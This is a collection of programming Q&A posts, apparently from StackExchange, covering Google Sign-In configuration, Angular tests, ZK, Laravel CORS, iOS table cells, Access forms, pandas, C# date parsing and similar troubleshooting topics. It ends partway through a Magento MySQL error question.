text:
Q: Google Sign In API OAuth2- Error: invalid_request I am having problems with the google Sign In API. I followed the tutorial to configure it from the Google Dev. console. Looked pretty simple... I read some similar questions on Stack Overflow, but all I could find is : Add your authorized origins... (By the way what is the 'Authorized origins' ?)
Here is the code I inserted into my PHP web page :
<head>
  <title>CrateBoxStudio</title>
  <meta name="google-signin-client_id" content="**MYCODE**-nk3amkhq4disgfjmcsd53gku38bk6rpv.apps.googleusercontent.com">
  <script src="https://apis.google.com/js/platform.js" async defer></script>
</head>

I did not include the button and the javacript functions in the above code, as I think it is not important for my problem. I also excluded boostrap and jQuery stuff and other unrelated tags.
The error simple description : Permission denied to generate login hint for target domain.

Full error detail (Requested details):
redirect_uri=storagerelay://http/192.168.0.111?id=auth885739
response_type=permission id_token
scope=email profile openid
openid.realm=
client_id=**MYCODE**-nk3amkhq4disgfjmcsd53gku38bk6rpv.apps.googleusercontent.com
ss_domain=http://192.168.0.111
fetch_basic_profile=true
gsiwebsdk=2

192.168.0.111 is the local IP of my server. It is my server local IP because I am testing it locally. It would be my router IP if it was accessed outside my home. (We can't use numeric IPs in the Authorized origins, could this be related?)
Above is the error I get when I click the Sign in button on my website home page (I only have 1 page for now, index.php)
See by yourself : http://crateboxstudio.com (This URL was added to the Authorized JavaScript origins from the Google Console. The URL brings us to my index.php page.).
So,
This domain name is hosted by GoDaddy.
My server is running on Apache2 with Ubuntu Server.
The Google sign in button throws the error above
I only have 1 page (index.php). It is where the Sign in button is.
My domain name redirects to my router IP on port 8080, hidden by the URL.
I added crateboxstudio.com and lan.crateboxstudio.com to the allowed domains of the Domain verificatiion in the console.
I did nothing else than what is mentioned above.
Authorized JavaScript origins :

*

*http://www.crateboxstudio.com

*http://www.lan.crateboxstudio.com (This is just so I can use a subdomain at home)
Authorized redirect URIs:
-Nothing...

Anyone has an idea how I could get more info about my error or how to fix it?

A: You have to add the local domain (which you use for testing) to the list of allowed domains in your Google project in Developer Console. Google will reject authentication requests from any domain(s) which are not listed there.

A: After all, I found out there was a problem with my goDaddy domain name configuration. I switched to Google Domain (to make things simpler, the interface is so clear and simple) and I figured out that I was trying to forward my domain to my server IP.
This is incorrect. The API does not support forwarded domain. It had to be a A record (Or whatever type maybe I don't know much about these)
My domain settings from Google Domains:

In the picture above, I created 2 A (or whatever types maybe, I don't know much about these) records. The @ (shortcut for the current domain name, AKA crateboxstudio.com) is for my public IP.
The second, lan, is my subdomain for local testing (lan.crateboxstudio.com).
The area with big blue X is the equivalent section on goDaddy where I was trying to forward my domain to a certain IP. Couldn't do that... Not sure why however.
My credential settings from Google API Console:

The www and the not www are required in the picture above.
Works well finally! However, my ISP blocks port 80, so I can't just type crateboxstudio.com, I need to type crateboxstudio.com:8080...


text:
Q: UNIT TEST ANGULAR ---> TypeError: Cannot read properties of null (reading 'name') I'm having a problem creating the test file for the post-detail component.
I always get this error:

Here is my post-detail.component.ts file:

Here is my post-detail.component.spec.ts file:

could you help me to solve this problem?

A: You're trying to read the name property of undefined (in the PostDetailComponent, code row 24, name: this.user.name), because when you declare your component, the field user is not defined. That's why it tries to read the name field of the user object.
You have a few ways to fix it:

*

*Add the optional chaining operator to the reading of the name property. You will have the next code on the 24th row: name: this.user?.name,.

*You can mock the user object in your tests. In the spec file on the 34th row mock the class field: component.user = {} as User;. Then when your component tries to read the name property, you will have an empty object, but not undefined and you will have no errors.

redpajama_set_name: RedPajamaStackExchange


text:
Q: ZK TreeitemRenderer - render() not called I'm fighting with this one for quite some time now.
I have my TreeitemRenderer as follows:
public class PermissionTreeRenderer implements TreeitemRenderer<PermissionTreeNode> {

    @Override
    public void render(final Treeitem treeItem, PermissionTreeNode node, int arg) throws Exception {
        final PermissionTreeNode ptn = (PermissionTreeNode)node;
        Treerow treeRow = new Treerow();

        treeItem.setOpen(ptn.isOpen());
        treeItem.appendChild(treeRow);
        PermissionItem current = (PermissionItem) ptn.getData();
        treeRow.appendChild(new Treecell(current.getName()));

    }
}

My BasicComposer (extending GenericForwardComposer) has both the attributes
private PermissionTreeModel treeModel;
private TreeitemRenderer treeitemRenderer = new PermissionTreeRenderer();

with getters and setters.
In my .zul my tree looks like this:
<tree id="permissionTree" width="100%"
    model="@{win$composer.treeModel}"
    treeitemRenderer="@{win$composer.treeitemRenderer}">
    <treecols>
        <treecol label="Item" width="400px" />
        <treecol label="Wert" />
    </treecols>
</tree>

What I've seen by testing so far is that he loads the model (he steps into the getter), but not the treeitemRenderer. the render-method isn't called, no matter what I do.
Edit: My problem was that I only filled the root node (for testing) and it needs at least one child item to draw...
Well @dennis: I will try to use the new way like you said, so here's my code:
<tree id="permissionTree" width="100%"
    model="@bind(vm.treeModel)" style="text-align:left;">
    <treecols>
        <treecol label="Item" width="400px" />
        <treecol label="Wert" />
        <treecol label="Einfügen" width="100px" />
    </treecols>
    <template name="model" var="node" status="s">
        <treeitem open="@bind(node.open)">
            <treerow>
                <treecell label="@bind(s.index)" />
                <treecell label="@bind(node.data)" />
                <treecell>
                    <hbox>
                        <button label="Index"
                            onClick="@command('showIndex', index=s.index)" />
                        <button label="Delete"
                            onClick="@command('delete', node=node)" />
                        <button label="Add After"
                            onClick="@command('addAfter', node=node)" />
                        <button label="Add Before"
                            onClick="@command('addBefore', node=node)" />
                    </hbox>
                </treecell>
            </treerow>
        </treeitem>
    </template>
</tree>

But it just won't fill my tree with data anymore. Oh and, what's that status s variable? Do I have to make preparations in any other file?
Edit: Problem solved, had to apply org.zkoss.bind.BindComposer
Thanks guys!

A: Two notes:

*

*treeitemRenderer is deprecated in favor of itemRenderer.

*Check that your treeModel is not null because Sets the renderer which is used to render each item if Tree.getModel() is not null.

A: If you are using ZK 6, you could use new bind mechanism which is easier than it in ZK 5 and you don't need to write a renderer. here is the code snippet shows the look https://github.com/zkoss/zk/blob/master/zktest/src/archive/bind/basic/collection-index-tree.zul


text:
Q: I need a way to mock a printer or spoof it or create a virtual printer where I can see the print I need a way to spoof a printer kind of like smtp4dev (http://smtp4dev.codeplex.com/).
smtp4dev is a great tool for testing email functionality and I would love to find a product like it that can spoof a printer and provide access to virtual print pages.

A: Install a PDF driver and then print to it,  I use PDFCreator for this task.
From a programming point it looks exactly the same as a printer and you have a good preview of what the actual pages would look  like on a printer.

A: If you have One Note installed, you can print to One Note, which you can then view in One Note.


text:
Q: What's the difference between sending -release or -drain to an Autorelease Pool? In many Books and on many Sites I see -drain. Well, for an Autorelease Pool that sounds cool. But does it do anything other than an release? I would guess -drain just makes the Pool to -release all it's objects, without releasing the Pool itself. Just a guess.

A: Note that the comments on oxigen's answer saying that -drain does not release the NSAutoreleasePool are not correct. The documentation for NSAutoreleasePool clearly says that -drain releases (and thus destroys) the NSAutoreleasePool.
-drain is a replacement for using -release for NSAutoreleasePool objects, the only difference being that provides a hint to the garbage collection system.

A: If your system has a garbage Collection, then -drain send message (objc_collect_if_needed) for GC
If you haven't GC, then drain = release

A: Oxigen is right, see the documentation for method drain of NSAutoreleasePool:

In a reference-counted environment,
  releases and pops the receiver; in a
  garbage-collected environment,
  triggers garbage collection if the
  memory allocated since the last
  collection is greater than the current
  threshold.


text:
Q: Занесение строк в базу данных MySQL из приложения WF Создал приложение на WinForms для работы с базой данных, но при занесении строк на русском языке вместо русских символов в БД получаю "????". Я думаю, что это связано с кодировкой. На сервере с БД стоит кодировка utf8_general_ci. Возможно, в VS стоит другая кодировка. Я пробовал менять кодировку у строки, но получал либо такой же результат, либо другой, но не лучше. С английскими символами всё хорошо. Раньше такой проблемы не было, но она появилась сама по себе.
MySqlCommand genreAdditionCommand = new MySqlCommand($"INSERT INTO `genre` (`id`, `DENOMINATION`) VALUES (NULL, @denom);", db.getConnection());
        genreAdditionCommand.Parameters.Add("@denom", MySqlDbType.VarChar).Value = genreName.Text;
        db.openConnection();

genreName - элемент графического интерфейса TextBox


text:
Q: Problema en pasaje de parámetros de fechas por método GET Estoy teniendo un problema con el método fetch el cual me tira un error de CORS a la hora de ingresar unos parámetros por Url. El código es el siguiente:
Sección front
      FiltrajeFecha(ruta, fechauno , fechados){
        let direccion ="http://127.0.0.1:8000/api/" + ruta + "/" + fechauno + "/" + fechados
        console.log("obteniendo datos de filtrado de mesa en: ",direccion);
         return fetch(direccion,
        {
            method: 'GET',
            headers:{
                'Content-type': 'application/json'
            },

        })
        .then(respuesta =>{
            return respuesta.json()
        })
    }

fechauno y fechados tienen formato de fecha como el siguiente: Ej. fechauno=2021-11-10.
El error que me tira es el siguiente

Sección Backend
Mi duda es por que me tira error de CORS? si estoy utilizando el método GET, pasándole los parámetros por url. Además, en la parte del backend (en la cual estoy trabajando con el framework laravel 8). Ya modifique el archivo "config.php". añadiendo lo siguiente:
<?php

return [
/*
|--------------------------------------------------------------------------
| Cross-Origin Resource Sharing (CORS) Configuration
|--------------------------------------------------------------------------
|
| Here you may configure your settings for cross-origin resource sharing
| or "CORS". This determines what cross-origin operations may execute
| in web browsers. You are free to adjust these settings as needed.
|
| To learn more: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
|
*/

'paths' => ['/' ,'api/*', 'sanctum/csrf-cookie'],

'allowed_methods' => ['*'],

'allowed_origins' => ['*'],

'allowed_origins_patterns' => [],

'allowed_headers' => ['*'],

'exposed_headers' => [],

'max_age' => 0,

'supports_credentials' => false,

];
Esto, me solucionaba antiguos problemas del CORS, con los diferentes métodos ya sea ingresados por rutas "/" , o rutas "/api". Sin embargo, con esa petición a través del método GET que estoy mostrando me tira error de CORS.
Desde la parte del backend usando Laravel 8. Recibo la ruta de esta manera:
Route::get('historico/mesas/filtro/fecha/{fechaUno}/{fechaDos}', [HistoricoMesaController::class , 'filtroFecha']);

Problema a resolver
El objetivo de pasar esos dos parámetros por url , es por el hecho de que quiero realizar un filtrado en la base de datos entre dos fechas que les paso a través de la url. Como estoy consumiendo datos pensaba que el mejor método a utilizar es el GET. porque no tengo que modificar nada ni agregar nada, solo consumir y realizar un filtrado entre dos fechas pasadas. Esta bien pasar los parámetros por url?.
Espero respuestas, desde ya muchas gracias.


text:
Q: tlmgr in linux-mint-xcfe 19.1 I had installed texlive 2019 (using the installer) on  yoga 2 pro laptop running linux Mint-xcfe 19.1.  There were on problems with the (default path) installation, and latex works fine.  However, when I try to use tlmgr, I am told that the folder where texlive is (/usr/local/texlive/2019 ) is not writable.  If I try to do: sudo tlmgr gui I am told that tlmgr is not installed (because texlive bypasses linux's package management).
   How do I use tlmgr under those circumstances?


text:
Q: Splitting a pdf File after uploading in amplify app with s3 storage I'm trying to create a webapp for uploading some files, I created an amplify app (react) with a storage hooked up, now I would like to work the files either before being uploaded or after, to split and retrieve only some pages,
I confess that I don't know where to start to get this result, could you advise me where to start without using lambda
I followed the amplify guides to build the app and storage, and I used this component to upload files:
https://ui.docs.amplify.aws/react/connected-components/storage/fileuploader
how can i get the result?
where should i start from?


text:
Q: UIImageView in UITableView cell content view is not updating In my iPhone application, I have a UITableView and this contains a UIImageView, button and Label. I am updating my database as per the values from the server and updating the details in the tableview. If I run the app for second time, after some modification at the server, the imageview is not getting updated. Button and label are updating. When I checked the local path for the image from the database, it shows the new image in the documents folder but the table cell still shows the old one. To the see the updated image, I should reinstall the app. What should I do to fix this issue?
Here is the work flow of what I did:

*

*Loading new values from the database, and keeping all the values in an array

*Removing the tableview

*Creating the tableview again

*Reload tableview.

Edit
//creating custom cell for the table view for displaying different objects
- (UIMenuItemCell *) getCellContentView:(NSString *)cellIdentifier {

    CGRect CellFrame = CGRectMake(0, 0, 150, 60);
    CGRect Label1Frame = CGRectMake(20, 23, 98, 30);
    CGRect imgFrame = CGRectMake(20, 48, 110, 123);
    CGRect btnFrame = CGRectMake(25, 136, 100, 30);

    UILabel *lblTemp;
    UIImageView *itemImg;
    UIButton *itemBtn;

    UIMenuItemCell *cell = [[UIMenuItemCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:cellIdentifier];
    cell.frame = CellFrame;

    //Initialize Label with tag 1.
    lblTemp = [[UILabel alloc] initWithFrame:Label1Frame];
    lblTemp.tag = 1;
    lblTemp.textColor=[UIColor colorWithRed:139.0f/255.0f green:69.0f/255.0f blue:19.0f/255.0f alpha:1.0f];
    lblTemp.textAlignment = UITextAlignmentCenter;
    lblTemp.backgroundColor = [UIColor clearColor];
    lblTemp.font = [UIFont systemFontOfSize:13.0];
    [cell.contentView addSubview:lblTemp];
    [lblTemp release];

    //Initialize ImageView
    itemImg = [[UIImageView alloc]initWithFrame:imgFrame];
    itemImg.tag = 2;
    [cell.contentView addSubview:itemImg];
    [itemImg release];

    //Initialize Button
    itemBtn = [[UIButton alloc]initWithFrame:btnFrame];
    itemBtn.frame = btnFrame;
    itemBtn.tag = 3;
    itemBtn.titleLabel.textColor = [UIColor blueColor];
    itemBtn.titleLabel.font = [UIFont systemFontOfSize:9.0];
    [cell.contentView addSubview:itemBtn];
    [itemBtn release];

    return cell;
}

// Customize the appearance of table view cells.
    - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
    {

        NSString *CellIdentifier = [NSString stringWithFormat:@"Cell%d", indexPath.row];

        UIMenuItemCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier];

        if(cell == nil){
            cell = [self getCellContentView:CellIdentifier];

            cell.transform = CGAffineTransformMakeRotation(M_PI_2);
            cell.selectionStyle = UITableViewCellSelectionStyleNone;

            cell.cellItemName = (UILabel *)[cell viewWithTag:1];
            cell.cellitemImage = (UIImageView *)[cell viewWithTag:2];
            cell.cellItemButton = (UIButton *)[cell viewWithTag:3];

            DataBaseClass *itemObj = [appDelegate.itemArray objectAtIndex:indexPath.row];

            NSString *imageLocalFilePath = nil;
            if ([[tempitemStatusArray objectAtIndex:indexPath.row] isEqualToString:@"NotAvailable"]) {
                cell.cellItemProgress.hidden = YES;
                cell.cellItemButton.hidden = NO;
                imageLocalFilePath = [NSString stringWithFormat:@"%@",[tempItemLocalNotAvailPath objectAtIndex:indexPath.row]];
                NSString *date = [self changeDateFormat:itemObj.itemReleaseDate];
                [cell.cellItemButton setTitle:date forState:UIControlStateNormal];
                cell.cellItemButton.userInteractionEnabled = NO;
                cell.userInteractionEnabled = NO;
                [cell.cellItemButton removeTarget:nil action:NULL forControlEvents:UIControlEventAllEvents];
                [cell.cellItemButton setBackgroundImage:[UIImage imageNamed:@"not_available_bttn_bck_img"] forState:UIControlStateNormal];
            }else if ([[tempitemStatusArray objectAtIndex:indexPath.row] isEqualToString:@"Available"]){
                cell.cellItemButton.userInteractionEnabled = YES;
                cell.userInteractionEnabled = YES;
                cell.cellItemProgress.hidden = YES;
                [cell.cellItemButton setTitle:@"" forState:UIControlStateNormal];
                [cell.cellItemButton setBackgroundImage:[UIImage imageNamed:@"available_bttn_img_normal"] forState:UIControlStateNormal];
                [cell.cellItemButton setBackgroundImage:[UIImage imageNamed:@"available_bttn_img_pressed"] forState:UIControlStateHighlighted];
                [cell.cellItemButton removeTarget:nil action:NULL forControlEvents:UIControlEventAllEvents];
                [cell.cellItemButton addTarget:self action:@selector(confirmationAlert:) forControlEvents:UIControlEventTouchUpInside];
                imageLocalFilePath = [NSString stringWithFormat:@"%@",[tempItemLocalAvailPath objectAtIndex:indexPath.row]];
            }
            if ([imageLocalFilePath isEqualToString:@""]) {
                [cell.cellitemImage setImage:[UIImage imageNamed:@"item01.png"]];
            }else {
                [cell.cellitemImage setImageWithURL:[NSURL fileURLWithPath:imageLocalFilePath] placeholderImage:[UIImage imageNamed:@"item01.png"]];
            }
            cell.cellItemName.text = [NSString stringWithFormat:@"%@",[tempItemNameArray objectAtIndex:indexPath.row]];
        }

        return cell;
    }

Please help.

A: I found the issue, in the cellForRowAtIndexPath method, for setting the image, I used the code
[cell.cellitemImage setImageWithURL:[NSURL fileURLWithPath:imageLocalFilePath] placeholderImage:[UIImage imageNamed:@"item01.png"]];
I used a external classes calls ImageLoading for loading the images and that classes included some cache methods, and that caused the issue. So I changed that line to
[cell.cellitemImage setImage:[UIImage imageWithContentsOfFile:imageLocalFilePath]];

that solved the issue.
Thanks for your support :)

A: There should be a
    }
after the line
cell.cellItemButton = (UIButton *)[cell viewWithTag:3];

A: i took jet a first look at your code, and i found out this "error":
   NSString *CellIdentifier = [NSString stringWithFormat:@"Cell%d", indexPath.row];

so... it won't give you any error, it works...
but that's against how table works:
doing this you are creating and allocating a new cell for each item of your array/database,
meaning that if you need to scroll to see 1.000 items, you create 1.000 cells!!!
it shouldn't be like this.
Normally a table just creates only the cells needed to be shown on the screen/display
meaning that if your table area is 300 pixel in height and each cell is 30 pixel height,
then you may need only 11 cells, and you should use/allocate only 11 cells, not 1.000
the magic of cells is to reuse cells when user scrolls them out of screen (e.g. UP), to set it's data and images with the new item data and to put it again on screen (e.g. DOWN)
thats what CellIdentifier is normally used for, and it should be the same for all cells in a table (at least if all cells are similar, but the contained data, and you don't need different cells)
allocating too many cells could give you memory problems, if you manage too much items...
p.s.
i'm probably not answering to your question, there may be other problems in your code, as i said i just read it in hurry

A: you will have to keep some time delay between laoding your data from databse and tableview reload. you will then able to see the updated image.


text:
Q: Maya Python Playback Create object each time a frame is played Update :)
I have a UI with 2 buttons that control playback, "play" and "stop".
I defined a CustomLocator object. When the playback is running after pressing Start button, I would like to create and draw a customLocator each time a frame is played. Right now the locator is drawn when pressing the start button. But it's not drawn each time a frame is played and I can' t figure how to do it...thanks for your help

class PlayBackDoSomething():
    def __init__(self):
        self.drawUI()
        self.state = False

    def drawUI(self):
        if pm.window("UI_MainWindow", exists = True):
            pm.deleteUI("UI_MainWindow")

        pm.window("UI_MainWindow", title = "test playback...", w = 150, h = 150, mnb = False, mxb = False, sizeable = True)
        pm.columnLayout("UI_MainLayout", w = 150, h =300)
        pm.button("UI_pbStartButton", label = "Start", w = 150, command=self.pbStart)
        pm.button("UI_pbStopButton", label = "Stop", w = 150, command=self.pbStop)
        pm.showWindow("UI_MainWindow")

    def pbStart(self,*args):
        pm.play(state=True)
        self.state = True
        self.doTheJob()

    def pbStop(self,*args):
        pm.play(state=False)
        self.state = False
        self.stopTheJob()

    def doTheJob(self):
        #this is basically part of code that i want to execute each time a frame is updated after pressing Play button
        print ("start of job")
        a = pm.keyframe(query = True, timeChange = True)
        print a

        t =  pm.currentTime()
        cl = CustomLocator(t, 0,0)
        cl.draw()

    def stopTheJob(self):
        print ("end of job")

class CustomLocator():
    def __init__(self, x, y, z):
        self.x = x
        self.y = y
        self.z = z

    def draw(self):
        pm.spaceLocator( p=(self.x, self.y, self.z) )
        pm.spaceLocator( p=(self.x, self.y, self.z-5) )
        pm.spaceLocator( p=(self.x, self.y, self.z+5) )

def main():
    pb = PlayBackDoSomething()

main()

A: You can call your print by putting
print (time);

into an expression on an object in your scene.  I'd only do this for debugging, since prints will slow down the interactive performance of the scene while you're working on it. If needed, you can add the expression to something like a camera when the start button is pushed and then remove it when you're done
update
You can do the same thing for creating locators (again, I recommend dynamically creating and removing the expression when playback stops or is complete. Here's a dumb example that creates locators as a cube moves around on playback
pCube1.translateX = sin(time);
float $tx = pCube1.translateX;
float $ty = pCube1.translateY;
float $tz = pCube1.translateZ;
spaceLocator -p $tx $ty $tz;

You could also just force update the time using cmds.currentTime() and do your process for every frame. That's much easier for traditional programming tasks than shoehorning this into an expression.


text:
Q: How to launch a Look up form, and return the value from a combo box Hopefully I can explain what I want to do well enough...here it goes...
I have a data entry form...the user will be entering employeeIDs.  Once in normal operation, most people will be entering only their own EmpID, and they should know it, so this won't be a big problem 99% of the time once this DB goes live.
However, I need some temps to enter historical data from paper sheets into the DB.  These people will not know anyone else's EmpID.  I'd like to set the Student field's OnDblClick event in the subform's datasheet to open a small form with a combo box.  The combo box has a list of all Employee Names, and is bound to the EmpID.  Once this user enters the name, and selects the person, I have a button they can click to return to the datasheet.
I can use a function to launch the form, no problem there.  But how do I return the EmpID to the field in the datasheet that was double clicked?

When user double clicks in the Student field...I want the next form to appear, and then once they type in the name and select the correct person...and then click Found Them!...I need that bound value to return.

I'd love to say I have code to share right now...but the only code I have is to launch the look up form.  I'm brain farting on how to pull the value back down.

A: The way to do this to launch your little dialog form as "acDialog". This will cause the calling code to WAIT.
And then the "magic" part is when they click on "Found Them" you do NOT close the popup form, but simply set the form's visible = false. This has the effect of the calling code that popped up this form that halted to continue (the form is kicked out of dialog mode when you do this). So now your calling code continues.
So your code will look like this:
  Dim strF       As String      ' name of popup form

  strF = "frmPopUp"

  ' open form, wait for user selection

  DoCmd.OpenForm strF, , , , , acDialog

  ' if for is NOT open, then assume user hit cancel buttion
  ' (you should likly have a cancel button on the form - that cancel buttion will
  ' execute a docmd.close

  If CurrentProject.AllForms(strF).IsLoaded = True Then
     ' grab the value of thee combbo box

     strComboBoxValue = Forms(strF)!NameOfComboBox

     DoCmd.Close acForm, strF

  End If

As noted, the code behind the Found Them button DOES NOT do a close form, but sets forms visible = false (me.Visible = false), and this trick allows the calling code to continue at which point you can examine any value on the form. Remember to then close the form after you grab the value.

A: It looks like your data table is in a subform so there is a little more work but it does not have to be as complex as the above solution if you don't want it to be. @Andre451 was close but you need the extra step of identifying the form and subform.  For the purpose of demonstration let's call the form Attendance and subform Entry then I'll call the second form LookUp. So the code for your double click in the subform field will of course look something like this :
Private Sub Student_DblClick(Cancel As Integer)
 DoCmd.OpenForm "LookUp"
End Sub

You really don't need anything else fancy there. For the button on "LookUp" you will put this:
Private Sub Command2_Click()

Forms![Attendance]![Entry].Form![Student] = Forms!Lookup!Student
DoCmd.Close acForm, "LookUp"

End Sub

And that should get you what you want without any overhead or having to leave any ghosts open.


text:
Q: Retriving all the rows from a csv file and plotting I need to retrieve the rows from a csv file generated from the function:
def your_func(row):
    return (row['x-momentum']**2+ row['y-momentum']**2 + row['z-momentum']**2)**0.5 / row['mass']

columns_to_keep = ['#time', 'x-momentum', 'y-momentum', 'z-momentum', 'mass']
dataframe = pd.read_csv("./flash.csv", usecols=columns_to_keep)
dataframe['mean_velocity'] = dataframe.apply(your_func, axis=1)

print dataframe

I got rows up until 29s then it skipped to the last few lines, also I need to plot this column 2 against 1

A: you can adjust pd.options.display.max_rows option, but it won't affect your plots, so your plots will contain all your data
demo:
In [25]: df = pd.DataFrame(np.random.randint(0,100,size=(10, 3)), columns=list('ABC'))

In [26]: df
Out[26]:
    A   B   C
0  93  76   5
1  33  70  12
2  50  52  26
3  88  98  85
4  90  93  92
5  66  10  58
6  82  43  39
7  17  20  91
8  47  90  33
9  44  30  26

In [27]: pd.options.display.max_rows = 4

Now it'll display 4 rows at most
In [36]: df
Out[36]:
     A   B   C
0   93  76   5
1   33  70  12
..  ..  ..  ..
8   47  90  33
9   44  30  26

[10 rows x 3 columns]

but it'll plot all your data
In [37]: df.plot.bar()
Out[37]: <matplotlib.axes._subplots.AxesSubplot at 0x49e2d68>

In [38]: pd.options.display.max_rows = 60

In [39]: df
Out[39]:
    A   B   C
0  93  76   5
1  33  70  12
2  50  52  26
3  88  98  85
4  90  93  92
5  66  10  58
6  82  43  39
7  17  20  91
8  47  90  33
9  44  30  26


text:
Q: How to toggle a bootstrap dropdown with a button located somewhere else on the page? Every example I've seen so far, the dropdown is below the trigger button. What if I want a very long dropdown to popup in the middle of the page?
This code:

 <button class="btn btn-default dropdown-toggle" type="button"
   id="dropdownMenu1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
     Dropdown

</button>

Action

Another action

Something else here

Separated link

I'd like the dropdown and the button-trigger to be at different location.
Thanks for helping

A: I think this link will fit for you!

A: It appears to be mandatory to have the dropdown trigger inside a .dropdown tag as it is said in the bootstrap documentation.
bootstrap documentation
The only thing you can do if you want to reduce the html code is to define
 your dropdown trigger and menus in an external scripts and fill your .dropdown tag after that like this :


text:
Q: google siganute make one image have two links so i have this image
so that each side of the image but please note it is one whole image
has a differnt url
so when i click on me it should go to google.com and when i click on you it should go to youtube.com
and i want that to work on gmail signature i did something like this but it doesn't seem to work when i paste it in gmail signature

the image is displayed in gmail signature but its not clickable

A: You must use background-image.

.wrap {
  display: flex;
  width: 100%;
  max-width: 500px;
  height: 200px;
  background-image: url(https://i.stack.imgur.com/h3SHH.png);
  background-size: cover;
}

.link {
  flex: 1;
}


text:
Q: Convert 14 number to DateTime in C# I have a 14 number with 2 characters of AM/PM,
I want to convert them to dateTime
for example: 515201483742AM
I tried this code:
DateTime result =
DateTime.ParseExact(dateString, "Mdyyyyhmmsstt",
 CultureInfo.CreateSpecificCulture("en-US"));

the output is error in format
where 515201483742AM is 5 15 2014 8 37 42 AM
month is M with no leading 0
day also d no leading 0
hours same and tt for AM

A: There is no way to parse your string without changing it because M format specifier can be two digits and it will map to parse 51 as a month. That's why your operation throws FormatException. Same with h format specifier.
That's why we need to change your string from 515201483742AM to 05152014083742AM to provide M format specifier will map 05 and h format specifier will map 08.
You can use a method like1;
public static DateTime? ParseDate_Mdyyyyhmmsstt(string date)
{
    if (date == null)
        return null;
    if (date.Length < 14)
        return null;
    if (date.Length == 14)
        date = date.Insert(0, "0").Insert(8, "0");
    DateTime dt;
    if (DateTime.TryParseExact(date, "Mdyyyyhmmsstt",
                               CultureInfo.InvariantCulture,
                               DateTimeStyles.None, out dt))
        return dt;
    return null;
}

And call it like;
var dt = ParseDate_Mdyyyyhmmsstt("515201483742AM");
Console.WriteLine(dt.Value); // 15.05.2014 08:37:42

1: I know this is not an elegant solution but it works in your case when your month and hour part is 1 digit.
Read: DateTime conversion from string C#

A: use double "MM" and "dd" Instead of single "M" and "d"
DateTime result = DateTime.ParseExact(dateString,"MMddyyyyhmmsstt",CultureInfo.CreateSpecificCulture("en-US"));

it will work.


text:
Q: How i can setup and using proGrids in unity 2018.1? So i'm a using Unity 2018.1 version and i'm trying to setup proGrids package, after i install it form package manager i get error here is
"cannot use because is it not in c# 4.0 language specification"

in Editor console log not in visual studio i'm using VS 2019 version by the way, when i changed the scripting runtime form .net 3.5 to 4 than i get a new error here is
"packages.unity.com/com.unity.settings-manager@1.0.2/Editor/UserSettingsRepository.cs(61,16): error CS0246: The type or namespace name `SettingsScope' could not be found. Are you missing an assembly reference?"

So how i can fix this error and can use a progrid safely i need help please . Thanks for all.

A: Remake your project and try again. this usually helps. if it still does not work, either uprade you're version, or uninstall and reinstall your editor.

A: i recently had this issue, after long days digging then i realize that it should match with your unity version. try updating progrid preview. in my case, i update the progrid 3.0.3 preview 6 ( current ) to 3.0.3 preview 0. and boom it fixed.


text:
Q: How to properly use select in vuetify? I currently using vuetify, and so far the code below is working <v-select>.
<v-select
    :items="order_by_opt"
    v-model="order_column"
    label="Order By"
    outlined
></v-select>

//script
data() {
    order_by_opt: ["Last Added", "Name", "Year Joined", "Age", "Date of Birth", ..etc.],
    order_column: ''
}

I just want to ask how can we translate the html code below to v-select
<select>
    <option value="last_added">Last Added</option>
    <option value="name">Name</option>
    //more options here
</select>

In which label and value is different like for example below. If I select Last Added, then I should get the value last_added?

A: You can do that by providing an array of objects, like this example in the docs. The props define which option property represents the selected value, and which is the display value.


text:
Q: RichTextBox appendtext sometimes adds extra lines? so I'm trying to load a file into a richtextbox without using the LoadFile function, as it does not allow you to specify an Encoding. I also want it to load in chunks, so it does not use as much memory. I have tried MANY ways, using a binary reader, streamreader, etc, but I think this is the best solution. Unfortunately, no matter what I do, whenever I compare the original file and the loaded file in Notepad++, there always seems to be extra lines in the text file. I thought it was a problem with reading the file, and I did a test to find it out. I have the input file stream and output file, and they were exactly the same! However, when I append the text in the richtextbox, a few extra lines appear.
Here is the code:
    const int bufferSize = 16384;
    using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read, bufferSize, FileOptions.SequentialScan))
                {
                    using (FileStream outStream = File.Create(@"C:\Users\me\Desktop\file comparison.txt"))
                    {
                        int bytesRead;
                        byte[] buffer = new byte[bufferSize];
                        while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) > 0)
                            outStream.Write(buffer, 0, bytesRead);
                    }
                }
    //Result:
    //The 2 files are the same

    using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read, bufferSize, FileOptions.SequentialScan))
                {
                    int bytesRead;
                    byte[] buffer = new byte[bufferSize];
                    while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) > 0)
                    {
                        if (bytesRead != bufferSize)
                            Array.Resize(ref buffer, bytesRead); //On the last chunk if the file is not a multiple of bufferSize (16384), it will leave some parts of the previous chunk behind
                        richTextBox.AppendText(Encoding.UTF8.GetString(buffer));
                    }
                }
//Result:
//When I copy and paste into notepad++ and compare the original and this, there are a few extra lines (empty lines)

Does anybody know what's wrong?
Thanks.


text:
Q: Are Functions Defaults Values Considered Assignments to Parameters in Python I was wondering if this is considered an assignment in Python or not
def func(a,b,c=10): return a+b+c

Is c = 10 syntax assigns 10 to the argument c here ?

A:
Is c = 10 syntax assigns 10 to the argument c here ?

Not necessarily. If the function is called func(1,2,3) then 10 is not assigned to c. That's the whole point of a default argument value, it's used only if not specified by the caller.
Assuming that the caller doesn't specify a value, then the default is assigned to c in the same sense that the specified arguments are assigned to a and b.
However, this is not an "assignment statement", so there are facts about assignment statements that aren't true of this (probably the most important difference, although it doesn't matter in this example of 10, is that the right hand side of this isn't evaluated each time, whereas the right hand side of an assignment statement is evaluated each time it's executed). So in the context of talking about "assignments" meaning "assignment statements", it wouldn't be considered an assignment.


text:
Q: General error: 2013 Lost connection to MySQL server during query in Magento when I search any product in top search I get error in Magento.I searched lot in stack over flow and  Magento stack exchange but all that solution is not worked in my case.
for ex : if I search "dell laptop" and hit enter it go to error page and error is below.

a:5:{i:0;s:494:"
      SQLSTATE[HY000]: General error: 2013 Lost connection to MySQL server during query, query was:
      INSERT INTO catalogsearch_result
      SELECT 2992 AS query_id, s.product_id,
